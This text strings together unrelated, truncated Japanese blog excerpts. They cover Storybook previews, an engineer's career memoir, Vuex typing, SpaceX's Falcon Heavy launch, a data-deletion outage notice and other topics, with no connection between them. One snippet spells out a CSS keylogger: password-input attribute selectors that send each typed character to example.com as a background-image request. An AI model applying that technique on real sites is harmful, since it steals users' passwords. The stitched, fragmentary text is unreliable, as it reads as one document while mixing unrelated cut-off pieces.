merpayでは積極的にStorybookを活用してコードと見た目の両方の観点でレビューを行なっていますが、Pull Requestが飛んでくるたびに該当ブランチをpullしてローカルでStorybookを起動するのが大変という運用上の問題を抱えていました。 そこでソリューションチームの協力のもと、PRが作成されるたびにCIからGAE上にユニークなpathをもったStorybookを配信する仕組みが導入されたのが先週のこと。とてもめでたい👏👏 これによってPRのデザインをチェックする時もURLをクリックするだけでよくなりました。 UI開発の概念がひっくり返るほど便利だったので、この仕組みをプライベートの開発でも導入したいと思います。 やりたいこと Storybookをホスティングする環境(URLの共有だけで完結するもの)を作りたい Pull Requestが作成されるごとに自動で新しい

誰か褒めてくれ

早いものでエンジニアとして働き始めてから今月でもう1年です。 1年前は時給1,000円ちょっとのバイトと派遣をやっていました。 先日ようやく正社員としてプロエンジニアになれたので、この機会に文学部出身のぼくが勉強し始めてからの3年半でやった事/やらなかった事を備忘録的に残していきたいと思います。 対象読者 文系だけどIT業界ではたらきたい学生 これからプログラミングを勉強してIT業界への転職を考えている社会人 すでにプログラミングを勉強中の社会人(←エラい) 未来の自分 ただの備忘録ではありますが、これからIT業界を目指す誰かの参考になれば嬉しいです。 サマリー ~1年目: HTML/CSS/Wordpress ~2年目: JS/Ruby/Python ~3年目: モダンJS/Perl/Docker ~現在: React Native/ML/Vue.js エンジニア以前 タイトルにもある通

2024-04-29 CSSってどんな勉強をしたらいいの？おすすめの勉強法3選！ 文字やタブなどWebサイトのデザインを作成するマークアップ言語がCSSです。 CSSを勉強すると、おしゃれなWebサイトやかっこいいWebサイトが作れるようになります。 また、Webサイトを作るときに必要なHTMLを理解するのにも役立ちます。 CSSを勉強するならできるだけ効率よく勉強できるようになりたいですよね。 ではCSSの勉強法はどのようなものがあるのでしょうか。 CSSの勉強法は、スクール […] 2024-04-29 WEBエンジニアから見たXserverの使い勝手と評判 レンタルサーバーのおすすめサイトを見ると、大体どこでも上がってくる有料のレンタルサーバーの一つに「Xserver」があります。 このXserverとは、どのようなサーバーで、サービスにはどのようなものがあるのか。 ホームページ関連

どこの会社にもあるもんですかね 送別会と題した飲み会、参加の有無を聞かれて「私用のため欠席」と伝えました。すると同僚たちから「私用って何？どんな理由で？」と返ってきました。苦手な人と食べるご飯は美味しくないからです。仕事の話をしながら飲むお酒が大嫌いだからです。ストレートにそう言う訳にも行かないので、ぼやかして「まあちょっと行きたくないかなって」とぽろっと仲のいい同僚に言ってしまったところ、な〜ぜかそれが広まって部署の総人類から総バッシングをくらいました。これが一昨日の話。 昨日はこの件について部長から呼び出しをくらい詰められました。20分ほどの面談。人づてにいろいろ聞いて変換されて「飲み会なんて面倒くさいから行かないわ笑」ってことになっていました。その面談の中で「人の気持ちを考えられないんだな」と蔑まれ、「これが会社、これが社会だ」とくだらない精神論を聞かされ、わたしの良く無いところをつ

It was only a hundred miles or so to the ice caverns, and the second day, when we were lying out under the blistering sun-thing he had materialized, he sent down some manna. Tasted like boiled boar urine. We ate it.” 悪い咀嚼音 １　SE咀嚼音 どれだけ精工に作られた偽物を手に入れても空しいだけで、本物を手に入れなけば意味がない。それはずっと遠い未来のことだけじゃなくて、2018年にポルノアニメを見て咀嚼音を聞くあなたにとっても同じことなのです。 ということで、悪い咀嚼音とはSEのことです。どこのだれかわからない音響監督だか何だか知らんおっさんがアニメにあてただけの血の通わない

この1週間、Vue + Vuex + TypeScript の書き方を模索していた。 これといったデファクトはないっぽくて、結構大変かもという感想。 Anonyfox/vuex-store-module-example 版 色々ググった中で、まずは Vuex の Issue にあったやり方を試した。 state, getter, mutation, action の世界で型をつけるには良いけど、Component にマッピングするとき、ゆるふわで少し残念かも。 ここの繋がりがもう少し堅いと、コードベースが大きくなったときにリファクタリングしやすかったり、色々と便利そう。 src/store/modules/counter.ts src/components/Counter/index.ts @Component<Counter>({ methods: { ...mapActions(['i

SNSを使って自らの可能性を広げる人にインタビューする連載『自分メディアのつくりかた』。 今回は、R25男子が大好きな（断言）「グラビアアイドル」に話を聞きました。グラドル界で自分をメディア化して活躍している人といえば、倉持由香さん。そう、あの「尻職人」です。 $尻職人がもうすぐ9時をお知らせします <a href="https://twitter.com/hashtag/%E5%B0%BB%E6%99%82%E8%A8%88?src=hash&amp;ref_src=twsrc%5Etfw">#尻時計</a> <a href="https://t.co/vi2CgI30Hk">pic.twitter.com/vi2CgI30Hk</a> グラビアアイドル苦境といわれ、雑誌の表紙をグラドルが飾れない状況を「#グラドル自画撮り部」などのムーブメントで打開しようとしている彼女。 これってかなり

某所で書いたものを公開用に書き直したもの 前提 フロントエンドでTDDは難しい、というかほぼ不可能である。なぜなら事前に副作用をデータとして表現できるか不明だからだ。たとえばあなたのプロダクトの画面の何処かにボタンを追加するために、その内部表現を事前に思い浮かべることが可能だろうか？ react-redux などのFluxフレームワークは如何に副作用をアクションとして表現することで、テスト・デバッグのための情報を残すか、という視点で発展してきた側面がある。あの冗長なアクション定義は、全てデバッグのために書いていると言っても、過言ではない。それすら「Textは文字がある」といったトートロジーなデータになりがち。 フロントエンドの現実的な単体テストは、他の開発者のために、自分が書いたコードの要求を満たしているか検知する手段として、防衛的にテストアフターしておく。これぐらいしか現実的な手法がない

こんにちは、ARuFaです。 突然ですが皆さん、悪いことしてますか？ 僕はまだしていません。 悪いことと言えば、不祥事を起こした有名人などが『謝罪会見』を開いているのをよく見ますが、じつは僕、謝罪会見について思うことがあるのです。 それがこちら…… フラッシュの光、メッチャもったいない！！ 「あ、そっち？」と思った方もいるでしょう。でも、よく思い出してみてください。 謝罪会見中って無限にフラッシュが焚かれているじゃないですか。僕にはあの強過ぎる光がもったいなく感じてしまうのです。 この節電の時代、フラッシュを焚く電気も無限ではありません。ならば、この強い光を有効活用した方がいいに決まっていますよね。 そこで、環境問題に熱心な僕は、『フラッシュの光を有効活用できそうなもの』を色々考えてみることに。 ……そしてその結果、たった一つだけ可能性を感じたものが、こちらでした。 イカ釣り漁船です。 急

This domain may be for sale!

github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。 これはもう既に悪用されているでしょうなあ… 追記 input[type="password"][value$="a"] { background-image: url("http://example.com/a?id=1234abcd"); } input[

1969年7月20日 アポロ11号月面着陸 人類が初めて地球以外の天体に降り立ったこの日、全世界が熱狂した。 この「一人の人間にとっては小さな一歩」が灯した火は半世紀を経た今もなお、多くの人の心の中で輝き続けている。 ある者はその「一歩」を追って月への想いを焦がし、またある者は小惑星探査へと野望を抱き、そしてある者は火星へと夢を見た。 2018年2月7日 午前5時44分 「T-30」のアナウンスが流れた瞬間、僕の身体に電撃が走り全身の毛が逆立つのを感じた。 前の晩から興奮で眠れずとうに疲労の限界を迎えていたけれど、歴史的瞬間を前にして僕の脳からは猛烈な量のアドレナリンが分泌されていた。 25歳の冬、紛れもなく僕は「熱狂」していた。 はじめて宇宙に想いを馳せたのはおそらく9歳か10歳のころ。 小学生の僕が父とお風呂に入るときは必ず父が広い世界の話をしてくれた。ときには歴史の話だったり、物理の

国内事業開発部 iOS エンジニアの三浦です。私は17年新卒で入社したのですが、それ以来複数の新規事業の開発に携わってきました。 現在開発中のアプリでは、バックエンドに Firebase を用いた開発を進めています。 この記事ではなぜ Firebase を使っているのかと、そこで得られた知見についてまとめようと思います。 なぜ Firebase みなさんご存知かと思いますが、Cookpad のレシピサービスでは主にバックエンドに AWS と Ruby on Rails が使われています。 なぜ新規事業ではその構成ではなく Firebase を使うのかということですが、以下のような理由があります。 基盤サービスが豊富 Firebase には RealtimeDatabase、FireStore といった Database を始めとして、CloudMessaging(Push通知基盤)、Aut

アメリカの宇宙開発のベンチャー企業「スペースＸ」が、現存する中で最も打ち上げ能力が大きいロケットを試験的に打ち上げ、車を搭載した先端部分を火星に向けた軌道に乗せるために切り離すことに成功しました。 今回、南部フロリダ州にあるケネディ宇宙センターで、このロケットを試験的に打ち上げることになり、現地時間の６日午後３時４５分（日本時間７日午前５時４５分）、４９年前に初めて人類を月面に送り込んだアポロ計画でも使われた発射台から飛び立ちました。 このロケットは、従来のロケットを３機束ねた形をしており、全長は７０メートル、日本のＨ２Ｂロケットの３倍以上にあたるおよそ６４トンの物資を地球を回る軌道に運ぶ能力があります。 ロケットの先端部分には、スペースＸのイーロン・マスクＣＥＯが所有する赤い電気自動車が載せられていて、打ち上げからおよそ３分後、この車を搭載した先端部分を切り離すことに成功しました。 順調

長時間に渡りサービスがご利用いただけない状況となり誠に申し訳ございません。 現在の状況をご報告させていただきます。 本日1月30日 午後12時10分頃サーバー内のデータが削除されている状況が発生しており、 調査した結果悪意のあるアクセスにより、 データを全て削除するというコマンドが実行されている状況が確認されました。 データのバックアップが１月２６日時点までのものが確認できましたのでその時点までのデータの復旧を行うことは可能な状況でございます。 又、再発を防止するためセキュリティにつきましては様々な状況を考慮した対策を実装し、 バックアップの頻度等も強化した仕組み等を増強したのちに再度公開を予定している為、再開には１日以上かかることを想定しております。 クリプトフォリオでは、独自IDによって、データを管理していたため お客様を特定するような個人情報は含まれておりません。 このたびはご迷惑を

κeenです。 非エンジニアのマネージャがエンジニアチームと上手くやる方法の記事に影響を受けてエンジニアとしての意見を書いてみようかなと。 非エンジニア向けのつもりです。 ここでいうエンジニアはソフトウェアエンジニアのことです。 Disclaimer ある程度客観的になるように気をつけてますがあくまで私個人の意見です。エンジニアを代表するようなものではありません。 κeenはまだエンジニア3年目くらいの若造なのて「それは違うんじゃねーの」と思ったところがあったら多分あなたが正しいです。 仕事内容 エンジニアの仕事は外から見たら何してるかよくわからないらしいですね。 ふつう仕事の成果物はエンジニアの間でしか共有してないのでまあ、そうなるでしょう。 なので「何をしているか」を説明するのはやめて「仕事しているときにどんな気持ちか」を話しましょう。 エンジニアの仕事は頭脳労働です。 それも問題解決

Eureka EngineeringLearn about Eureka’s engineering efforts, product developments and more.